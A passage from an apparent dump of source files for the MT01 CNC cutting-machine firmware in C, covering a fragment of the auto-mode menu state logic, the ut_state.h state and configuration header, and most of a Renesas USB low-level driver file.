0)\n\t\t\t{\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tut_lcd_output_warning(\"NENHUM ARQUIVO\\n\\\n\t\t\t\t\t\t\t\t\t CARREGADO\\n\");\n\t\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t\t{\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\t\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tpContext->value[1] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tpContext->value[1] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tconfigsVar->valueMax = (float)selecionarlinhasMax();\n\t\t\t\tif (configsVar->valueMax < 1){\n\t\t\t\t\tut_lcd_output_warning(\"FORMATO NÃO\\nRECONHECIDO\\nSEM NÚMERO LINHA\\n\");\n\t\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase CONFIG_AUTO_TESTAR_TAMANHO_PECA:\n\n\t\t\txio_open(cs.primary_src,0,0);\n\t\t\tif(uspiffs[0].f < 0)\n\t\t\t{\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tut_lcd_output_warning(\"NENHUM ARQUIVO\\n\\\n\t\t\t\t\t\t\t\t\t CARREGADO\\n\");\n\t\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t\t{\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\t\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tpContext->value[1] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tut_lcd_output_warning(\"CUIDADO!!!\\nMOVIMENTO\\nAUTOMÁTICO\\n\");\n\t\t\t\tif(delay_esc(2000) == KEY_ESC)\n\t\t\t\t{\n\t\t\t\t\txio_close(cs.primary_src);\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nCANCELADO\\n\");\n\t\t\t\t\t/* Delay */\n\t\t\t\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\t\t\t\t\treturn STATE_CONFIG_AUTO_MODE;\n\t\t\t\t}\n\t\t\t\tconfigsVar->name = \"DESEJA CONTINUAR?\";\n\t\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\t\tpContext->value[1] = STATE_DESLOCAZERO_MODE;\n\t\t\t}\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tpContext->value[0] = STATE_CONFIG_AUTO_MODE;\n\t\t\tpContext->value[1] = STATE_CONFIG_AUTO_MODE;\n\t}\n\n\treturn geNextStateAuto[config_menu.selectedItem];\n}\n" }, { "alpha_fraction": 0.6093406081199646, "alphanum_fraction": 0.6121309995651245, "avg_line_length": 33.04499816894531, "blob_id": "c10510b78e8bbc8ff9f2312d641f961b97367c26", "content_id": "e7c53b87c01c862debd5f525d44601464ba6fed1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6845, "license_type": "no_license", "max_line_length": 98, "num_lines": 200, "path": "/src/include/ut_state.h", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_state.h\n *\n * Created on: Oct 30, 2015\n * Author: Fernando\n */\n\n#ifndef STATES_UT_STATE_H_\n#define STATES_UT_STATE_H_\n\n#include \"ut_context.h\"\n\n/**\n * Enum to indicate available states\n */\ntypedef enum\n{\n\tSTATE_SPLASH = 0, //!< Funçao da tela de entrada\n\tSTATE_WARNING, //!< Funçao da tela de warnings\n\tSTATE_MAIN_MENU, //!< Funçao da tela de principal\n\tSTATE_CHOOSE_FILE, //!< Funçao da tela de escolha de arquivos\n\tSTATE_CONFIG_MENU_OX, //!< Funçao da tela de configuração de corte - Oxicorte\n\tSTATE_CONFIG_MENU_PL, //!< Funçao da tela de configuração de corte - Plasma\n\tSTATE_CONFIG_MANUAL_MODE, //!< Funçao da tela do menu de corte manual\n\tSTATE_CONFIG_JOG, \t\t //!< Funçao da tela da configuraçao de jog\n\tSTATE_CONFIG_AUTO_MODE, //!< Funçao da tela do menu de corte automatico\n\tSTATE_CONFIG_MAQUINA, //!< Funçao da tela de da configuraçao da maquina\n\tSTATE_CONFIG_PARAMETROS_MAQ, //!< Funçao da tela de parametros da maquina\n\tSTATE_CONFIG_MAQUINA_THC, \t //!< Funçao da tela de parametros do thc\n\tSTATE_CONFIG_VAR, //!< Funçao da tela de manipulação de variaveis\n\tSTATE_MANUAL_MODE, //!< Funçao da tela de corte manual\n\tSTATE_DESLOCAZERO_MODE, //!< Funçao da tela de deslocar para zero\n\tSTATE_AUTO_MODE, //!< Funçao da tela de corte automatico\n\tSTATE_LINE_SELECTION, //!< Funçao da tela de selecionar linhas\n\tSTATE_MAQ_MODEL_SELECTION, //!< Funçao da tela de selecionar modelo de maquina\n\t/* This should be always the last one! */\n\tSTATE_NUMBER\n} ut_state;\n\ntypedef enum\n{\n\tCONFIG_AUTO_RODAR_PROG = 0,\n\tCONFIG_AUTO_MODO_SIM,\n\tCONFIG_AUTO_DESLOCAR_ZERO,\n\tCONFIG_AUTO_SELECIONAR_LINHA,\n\tCONFIG_AUTO_TESTAR_TAMANHO_PECA,\n\tCONFIG_AUTO_MAX,\n\t/*Melhorar esta implementação */\n\tCONFIG_AUTO_MODO_SIM_RUN\n} ut_config_auto_name;\n\ntypedef enum\n{\n\tCONFIG_MANUAL_MODO_MANUAL = 0,\n\tCONFIG_MANUAL_JOG_RAP_LENTO,\n\tCONFIG_MANUAL_ZERAR_PECA,\n\tCONFIG_MANUAL_DESLOCAR_ZERO,\n\tCONFIG_MANUAL_ZERAR_MAQUINA,\n\tCONFIG_MANUAL_MAX\n} ut_config_manual_name;\n\n/**\n *\n */\ntypedef enum\n{\n\tMAIN_MENU_FILE = 0,\n\tMAIN_MENU_CONFIG_MANUAL,\n\tMAIN_MENU_AUTO,\n\tMAIN_MENU_CONFIG,\n\tMAIN_MENU_MODOMAQUINA,\n\tMAIN_MENU_NUMBER\n} main_menu_options;\n\ntypedef enum\n{\n\tCONFIG_JOG_RAPIDO = 0,\n\tCONFIG_JOG_LENTO,\n\tCONFIG_JOG_MAX\n} ut_config_jog_name;\n\ntypedef enum\n{\n\tOX_CONFIG_ALTURA_PERFURACAO, \t\t//!< Altura de perfuração\n\tOX_CONFIG_ALTURA_CORTE, \t\t\t//!< Altura de corte\n\tOX_CONFIG_VELOC_CORTE, \t\t\t\t//!< Velocidade de corte\n\tOX_CONFIG_TEMPO_AQUECIMENTO,\t\t//!< Tempo de aquecimento\n\tOX_CONFIG_TEMPO_PERFURACAO,\t\t\t//!< Tempo de Perfuração\n\tOX_CONFIG_MAX \t\t\t\t//!< CONFIG_MAX\n} ut_config_name_ox;\n\ntypedef enum\n{\n\tPL_CONFIG_ALTURA_PERFURACAO, //!< Altura de perfuração\n\tPL_CONFIG_ALTURA_CORTE, //!< Altura de corte\n\tPL_CONFIG_VELOC_CORTE, //!< Velocidade de corte\n\tPL_CONFIG_TEMPO_PERFURACAO, //!< Tempo de Perfuração\n\tPL_CONFIG_TENSAO_THC, //!< Tensao do THC\n\tPL_CONFIG_MAX \t\t\t //!< CONFIG_MAX\n} ut_config_name_pl;\n\ntypedef enum\n{\n\tCFG_MAQUINA_ALT_DESLOCAMENTO, //!< Altura de deslocamento\n\tCFG_MAQUINA_MODOMAQUINA, //!< Modo da maquina\n\tCFG_MAQUINA_PARAMETROS,\t\t\t //!< Parametros da maquina\n\tCFG_MAQUINA_PARAMETROS_THC,\t\t //!< Parametros de THC\n\tCFG_MAQUINA_MAX \t\t\t //!< CONFIG_MAX\n} ut_config_maquina;\n\ntypedef enum\n{\n\tCFG_THC_KERF, \t\t\t//!< Kerf\n\tCFG_THC_MERGULHO, //!< mergulho\n\tCFG_THC_MAX \t\t\t //!< CONFIG_MAX\n} ut_config_maquina_thc;\n\ntypedef enum\n{\n\tCFG_PAR_MAQ_EIXO_X1, \t\t\t//!< EIXO_X1\n\tCFG_PAR_MAQ_EIXO_X2, \t\t//!< EIXO_X2\n\tCFG_PAR_MAQ_EIXO_Y,\t\t\t \t\t//!< EIXO_Y\n\tCFG_PAR_MAQ_EIXO_Z,\t\t\t \t\t//!< EIXO_Z\n\tCFG_PAR_MAQ_JERK_X, //!< JERK X\n\tCFG_PAR_MAQ_JERK_Y, //!< JERK Y\n\tCFG_PAR_MAQ_JERK_Z, //!< JERK Z\n\tCFG_PAR_MAQ_VEL_X, //!< VEL X\n\tCFG_PAR_MAQ_VEL_Y, //!< VEL Y\n\tCFG_PAR_MAQ_VEL_Z, //!< VEL Z\n\tCFG_PAR_MAQ_JUNCTION_DEV, //!< JUNCTION DEV\n\tCFG_PAR_MAQ_JUNCTION_ACEL, //!< JUNCTION ACCEL\n\tCFG_PAR_MAQ_CHORDAL_TOL, //!< CHORDAL TOLERANCE\n\tCFG_FORMAT, //!< FORMAT MEM\n\tCFG_PAR_MAQ_MAX \t\t\t //!< CFG PAR MAX\n} ut_config_par_maquina;\n\ntypedef enum\n{\n\tCFG_MODEL_EASYMAK = 0,\n\tCFG_MODEL_COMPACTA,\n\tCFG_MODEL_MOBILE,\n\tCFG_MODEL_UNIMAQ,\n\tCFG_MODEL_MAX\n} ut_config_model;\n\n/**\n * Function pointer to a state execution.\n * Any state must have exactly this signature\n *\n * @param ut_context_ptr pointer to context structure\n * @return next state\n */\ntypedef ut_state (*state_func_ptr)(ut_context*);\n\n/**\n * States declaration.\n *\n * Any additional state goes here!\n */\nextern ut_state ut_state_splash(ut_context* pContext);\nextern ut_state ut_state_warning(ut_context* pContext);\nextern ut_state ut_state_main_menu(ut_context* pContext);\nextern ut_state ut_state_choose_file(ut_context* pContext);\nextern ut_state ut_state_config_menu_ox(ut_context* pContext);\nextern ut_state ut_state_config_menu_pl(ut_context* pContext);\nextern ut_state ut_state_config_manual_menu(ut_context* pContext);\nextern ut_state ut_state_config_jog(ut_context* pContext);\nextern ut_state ut_state_config_var(ut_context* pContext);\nextern ut_state ut_state_manual_mode(ut_context* pContext);\nextern ut_state ut_state_auto_mode(ut_context* pContext);\nextern ut_state ut_state_config_maquina(ut_context* pContext);\nextern ut_state ut_state_config_par_maq(ut_context* pContext);\nextern ut_state ut_state_deslocaZero_mode(ut_context* pContext);\nextern ut_state ut_state_config_auto_menu(ut_context* pContext);\nextern ut_state ut_state_line_selection(ut_context* pContext);\nextern ut_state ut_state_config_maq_thc(ut_context* pContext);\nextern ut_state ut_state_config_maq_model(ut_context* pContext);\n\n\n/**\n * State map definition\n * Any state relationship must goes here:\n * \tenum -> function\n * In exactly same order as the enum declaration\n */\nextern const state_func_ptr states_table[STATE_NUMBER];\n\n// ***********************************************************************\n// Defines\n// ***********************************************************************\n#define MAX_FILE_PATH_SIZE 256\n#define USB_ROOT\t\"\"\n#define DEFAULT_FILE_EXTENSION\t\".txt\"\n// ***********************************************************************\n// Global variables\n// ***********************************************************************\nextern char gszCurFile[MAX_FILE_PATH_SIZE];\nextern ut_state currentState;\n\n#endif /* STATES_UT_STATE_H_ */\n" }, { "alpha_fraction": 0.40529924631118774, "alphanum_fraction": 0.4168474078178406, "avg_line_length": 40.70904541015625, "blob_id": "9b7f22d5f61c3345cdddaf9ed49ccb9131a62279", "content_id": "b39c50e1f9db57d7ccefd65357b7fdad412e4d93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 34118, "license_type": "no_license", "max_line_length": 120, "num_lines": 818, "path": "/r_usb_basic/src/driver/comm/r_usb_clibusbip.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_clibusbip.c\n* Description : USB IP Host and Peripheral low level library\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nRenesas Abstracted Driver API functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_NrdyEnable\nDescription : Enable NRDY interrupt of the specified pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_NrdyEnable(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* Check current function */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n /* At the peripheral operation, interrupt is disabled, */\n /* because handler becomes busy. */\n }\n else\n {\n /* Enable NRDY */\n usb_creg_set_nrdyenb( ptr, pipe );\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_NrdyEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_BerneEnable\nDescription : Enable BRDY/NRDY/BEMP interrupt.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_BerneEnable(USB_UTR_t *ptr)\n{\n /* Enable BEMP, NRDY, BRDY */\n usb_creg_set_intenb( ptr, (USB_BEMPE|USB_NRDYE|USB_BRDYE) );\n}\n/******************************************************************************\nEnd of function usb_cstd_BerneEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_SwReset\nDescription : Request USB IP software reset\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SwReset(USB_UTR_t *ptr)\n{\n /* USB Enable */\n usb_creg_set_usbe( ptr );\n /* USB Reset */\n usb_creg_clr_usbe( ptr );\n /* USB Enable */\n usb_creg_set_usbe( ptr );\n}\n/******************************************************************************\nEnd of function usb_cstd_SwReset\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_GetPid\nDescription : Fetch specified pipe's PID.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint16_t PID-bit status\n******************************************************************************/\nuint16_t usb_cstd_GetPid(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t buf;\n\n /* PIPE control reg read */\n buf = usb_creg_read_pipectr( ptr, pipe );\n return (uint16_t)(buf & USB_PID);\n}\n/******************************************************************************\nEnd of function usb_cstd_GetPid\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_DoSqtgl\nDescription : Toggle setting of the toggle-bit for the specified pipe by \n : argument.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\n : uint16_t toggle : Current toggle status.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_DoSqtgl(USB_UTR_t *ptr, uint16_t pipe, uint16_t toggle)\n{\n /* Check toggle */\n if( (toggle & USB_SQMON) == USB_SQMON )\n {\n /* Do pipe SQSET */\n usb_creg_set_sqset(ptr, pipe);\n }\n else\n {\n /* Do pipe SQCLR */\n usb_creg_set_sqclr(ptr, pipe);\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_DoSqtgl\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_GetMaxPacketSize\nDescription : Fetch MaxPacketSize of the specified pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint16_t MaxPacketSize\n******************************************************************************/\nuint16_t usb_cstd_GetMaxPacketSize(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t size, buffer;\n\n if( pipe == USB_PIPE0 )\n {\n buffer = usb_creg_read_dcpmaxp( ptr );\n }\n else\n {\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n buffer = usb_creg_read_pipemaxp( ptr );\n }\n /* Max Packet Size */\n size = (uint16_t)(buffer & USB_MXPS);\n\n return size;\n}\n/******************************************************************************\nEnd of function usb_cstd_GetMaxPacketSize\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_GetDevsel\nDescription : Get device address from pipe number\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint16_t DEVSEL-bit status\n******************************************************************************/\nuint16_t usb_cstd_GetDevsel(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t devsel, buffer;\n\n /* Check current function */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n /* Peripheral Function */\n /* USB address */\n buffer = usb_creg_read_usbaddr( ptr );\n /* Device address */\n devsel = (uint16_t)(buffer & USB_USBADDR_MASK);\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n if( pipe == USB_PIPE0 )\n {\n buffer = usb_creg_read_dcpmaxp( ptr );\n }\n else\n {\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n buffer = usb_creg_read_pipemaxp( ptr );\n }\n /* Device address */\n devsel = (uint16_t)(buffer & USB_DEVSEL);\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n\n return devsel;\n}\n/******************************************************************************\nEnd of function usb_cstd_GetDevsel\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_GetPipeDir\nDescription : Get PIPE DIR\nArguments : uint16_t pipe : Pipe number.\nReturn value : uint16_t Pipe direction.\n******************************************************************************/\nuint16_t usb_cstd_GetPipeDir(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t buffer;\n\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n /* Read Pipe direction */\n buffer = usb_creg_read_pipecfg( ptr );\n return (uint16_t)(buffer & USB_DIRFIELD);\n}\n/******************************************************************************\nEnd of function usb_cstd_GetPipeDir\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_GetPipeType\nDescription : Fetch and return PIPE TYPE.\nArguments : uint16_t pipe : Pipe number.\nReturn value : uint16_t Pipe type\n******************************************************************************/\nuint16_t usb_cstd_GetPipeType(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t buffer;\n\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n /* Read Pipe direction */\n buffer = usb_creg_read_pipecfg( ptr );\n return (uint16_t)(buffer & USB_TYPFIELD);\n}\n/******************************************************************************\nEnd of function usb_cstd_GetPipeType\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_is_host_mode\nDescription : Check current function\nArguments : none\nReturn value : uint16_t : YES = Host\n : : NO = Peripheral\n******************************************************************************/\nuint16_t usb_cstd_is_host_mode(USB_UTR_t *ptr)\n{\n uint16_t buf;\n buf = usb_creg_read_syscfg( ptr, USB_PORT0 );\n if( (buf & USB_DCFM) == USB_DCFM )\n {\n /* Host Function mode */\n return USB_YES;\n }\n else\n {\n /* Peripheral Function mode */\n return USB_NO;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_is_host_mode\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_DoAclrm\nDescription : Set the ACLRM-bit (Auto Buffer Clear Mode) of the specified \n : pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_DoAclrm(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* Control ACLRM */\n usb_creg_set_aclrm( ptr, pipe );\n usb_creg_clr_aclrm( ptr, pipe );\n}\n/******************************************************************************\nEnd of function usb_cstd_DoAclrm\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_SetBuf\nDescription : Set PID (packet ID) of the specified pipe to BUF.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SetBuf(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* PIPE control reg set */\n usb_creg_set_pid( ptr, pipe, USB_PID_BUF );\n}\n/******************************************************************************\nEnd of function usb_cstd_SetBuf\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_ClrStall\nDescription : Set up to NAK the specified pipe, and clear the STALL-bit set\n : to the PID of the specified pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : none\nNote : PID is set to NAK.\n******************************************************************************/\nvoid usb_cstd_ClrStall(USB_UTR_t *ptr, uint16_t pipe)\n{\n /* Set NAK */\n usb_cstd_SetNak(ptr, pipe);\n /* Clear STALL */\n usb_creg_clr_pid( ptr, pipe, USB_PID_STALL );\n}\n/******************************************************************************\nEnd of function usb_cstd_ClrStall\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_Epadr2Pipe\nDescription : Get the associated pipe no. of the specified endpoint.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t dir_ep : Direction + endpoint number.\nReturn value : uint16_t : OK : Pipe number.\n : : ERROR : Error.\n******************************************************************************/\nuint16_t usb_cstd_Epadr2Pipe(USB_UTR_t *ptr, uint16_t dir_ep)\n{\n uint16_t i, direp, tmp, *table;\n\n /* Check current function */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n uint16_t conf;\n\n conf = usb_gpstd_ConfigNum;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Peripheral */\n /* Get PIPE Number from Endpoint address */\n table = (uint16_t*)((uint16_t**)(usb_gpstd_Driver.pipetbl[conf - 1]));\n direp = (uint16_t)(((dir_ep & 0x80) >> 3) | (dir_ep & 0x0F));\n /* EP table loop */\n for( i = 0; table[i] != USB_PDTBLEND; i += USB_EPL )\n {\n tmp = (uint16_t)(table[i + 1] & (USB_DIRFIELD | USB_EPNUMFIELD));\n /* EP table endpoint dir check */\n if( direp == tmp )\n {\n return table[i];\n }\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n uint16_t md;\n USB_HCDREG_t *driver;\n\n /* Host */\n /* Get PIPE Number from Endpoint address */\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n if( (usb_ghstd_DeviceDrv[ptr->ip][md].ifclass != USB_IFCLS_NOT) &&\n (usb_ghstd_DeviceDrv[ptr->ip][md].devaddr != USB_NODEVICE) )\n {\n driver = (USB_HCDREG_t*)&usb_ghstd_DeviceDrv[ptr->ip][md];\n table = (uint16_t*)(driver->pipetbl);\n direp = (uint16_t)((((dir_ep & 0x80) ^ 0x80) >> 3) | (dir_ep & 0x0F));\n /* EP table loop */\n for( i = 0; table[i] != USB_PDTBLEND; i += USB_EPL )\n {\n tmp = (uint16_t)(table[i + 1] & (USB_DIRFIELD | USB_EPNUMFIELD));\n /* EP table endpoint dir check */\n if( direp == tmp )\n {\n return table[i];\n }\n }\n }\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n return USB_ERROR;\n}\n/******************************************************************************\nEnd of function usb_cstd_Epadr2Pipe\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_Pipe2Epadr\nDescription : Get the associated endpoint value of the specified pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint8_t : OK : Endpoint nr + direction.\n : : ERROR : Error.\n******************************************************************************/\nuint8_t usb_cstd_Pipe2Epadr(USB_UTR_t *ptr, uint16_t pipe)\n{\n\n /* Check current function */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n /* Peripheral */\n USB_PRINTF0(\"Not support peripheral function\\n\");\n return (uint8_t)USB_ERROR;\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n uint16_t buffer,direp;\n\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n /* Read Pipe direction */\n buffer = usb_creg_read_pipecfg( ptr );\n direp = (uint16_t)((((buffer & USB_DIRFIELD) ^ USB_DIRFIELD) << 3) + (buffer & USB_EPNUMFIELD));\n return (uint8_t)(direp);\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n return (uint8_t)USB_ERROR;\n}\n/******************************************************************************\nEnd of function usb_cstd_Pipe2Epadr\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_Pipe2Fport\nDescription : Get port No. from the specified pipe No. by argument\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint16_t : FIFO port selector.\n******************************************************************************/\nuint16_t usb_cstd_Pipe2Fport(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t i, *table;\n\n /* Check current function */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n uint16_t conf;\n\n conf = usb_gpstd_ConfigNum;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n /* Peripheral */\n /* Get FIFO port from PIPE number */\n table = (uint16_t*)((uint16_t**)\n (usb_gpstd_Driver.pipetbl[conf - 1]));\n /* EP table loop */\n for( i = 0; table[i] != USB_PDTBLEND; i += USB_EPL )\n {\n if( table[i] == pipe )\n {\n return table[i + 5];\n }\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n uint16_t md;\n USB_HCDREG_t *driver;\n\n /* Host */\n /* Get FIFO port from PIPE number */\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n if( (usb_ghstd_DeviceDrv[ptr->ip][md].ifclass != USB_IFCLS_NOT) &&\n (usb_ghstd_DeviceDrv[ptr->ip][md].devaddr != USB_NODEVICE) )\n {\n driver = (USB_HCDREG_t*)&usb_ghstd_DeviceDrv[ptr->ip][md];\n table = (uint16_t*)(driver->pipetbl);\n /* EP table loop */\n for( i = 0; table[i] != USB_PDTBLEND; i += USB_EPL )\n {\n if( table[i] == pipe)\n {\n return table[i + 5];\n }\n }\n }\n }\n#endif /* 